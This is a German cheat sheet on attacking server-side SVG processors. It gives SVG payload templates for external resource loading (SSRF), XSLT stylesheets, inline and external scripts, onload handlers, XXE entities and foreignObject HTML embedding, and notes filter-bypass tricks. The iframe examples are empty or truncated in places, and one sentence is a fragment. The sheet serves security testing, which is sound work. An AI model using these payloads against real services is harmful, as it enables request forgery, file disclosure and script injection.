
Ein Spickzettel zur Ausnutzung serverseitiger SVG-Prozessoren.
Hosts, die SVG verarbeiten, können aufgrund des umfangreichen Funktionsumfangs von SVG potenziell anfällig für SSRF, LFI, XSS und RCE sein.
Alle diese Methoden geben eine URI an, die absolut oder relativ sein kann. Datei- und HTTP-Protokoll sind wichtig zu testen, aber je nach Implementierung können auch andere Protokolle unterstützt werden (z. B. PHP-Stream-Schemes), einschließlich javascript: und data:.
Dieses Dokument enthält eine Liste aller mir bekannten Möglichkeiten, diese Funktionalität in SVG zu missbrauchen.
Beachte, dass einige Dienste, die vorgeben, SVG nicht als Eingabeformat zu akzeptieren, es mit ein wenig Überredung doch tun.
file-Befehl meines Wissens keine SVG-Magic, also liegt es wahrscheinlich an den jeweiligen Implementierungen.SVG kann externe Bilder direkt über das <image>-Tag einbinden.
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
Beachte, dass du damit auch andere SVG-Bilder einbinden kannst.
<use>-TagSVG kann externe SVG-Inhalte über das <use>-Tag einbinden.
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>SVG kann externe Stylesheets über das <link>-Tag einbinden, genau wie HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?><?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
SVGs können XSLT-Stylesheets über <?xml-stylesheet?> einbinden. Überraschenderweise scheint das in Chrome zu funktionieren.
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
Hinweis: Aufgrund der Natur von XSLT muss die Eingabe eigentlich kein gültiges SVG-Datei sein, wenn das XML-Stylesheet ignoriert wird, aber es ist nützlich, um Filter zu umgehen.
Außerdem: Da ich kein Interesse daran habe, XSLT zu lernen, ersetzt diese Vorlage einfach das gesamte „alte“ Bild durch das neue.
SVG kann nativ Inline-JavaScript einbinden, genau wie HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
SVG kann auch externe Skripte einbinden.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
SVG kann auch Inline-Ereignisbehandler haben, die beim Laden ausgeführt werden.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
Du kannst Handler auch an Animationen und einige andere Ereignisse binden. Lies die SVG-Spezifikation.
Da SVG XML ist, kann es auch XXEs enthalten:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject>Das <foreignObject>-Tag ist der Wahnsinn. Es kann verwendet werden, um beliebiges (X)HTML in ein SVG einzubetten.
Zum Beispiel, um einen Iframe einzubetten:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
Wenn du keinen Netzwerkzugriff hast (z. B. in einer Sandbox), kannst du eine Data-URI oder eine JavaScript-URI als Ziel des Iframes angeben:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
Wenn dir die SVGs noch nicht gereicht haben, kannst du weitere SVGs über die <object>- oder <embed>-Tags einbinden. Ich denke, es ist wahrscheinlich theoretisch möglich, auch Flash dort unterzubringen.
Beachte, dass du dich in einem anderen XML-Namespace befindest; alles, was nur svg:script entfernt hat, hat möglicherweise html:script (oder Ähnliches für Attribute) nicht entfernt.
Es ist möglich, externe Schriften einzubinden, falls man das je möchte – ich denke, sowohl über CSS als auch über native Attribute. Das ist aber nicht wirklich nützlich, da Webfonts aus einem mir nicht ganz verständlichen Grund CORS erfordern, was mit DRM für Schriftressourcen zusammenhängt, um Hotlinking zu verhindern. Ich schätze, manchmal gibt es jedoch Schwachstellen in Font-Engines.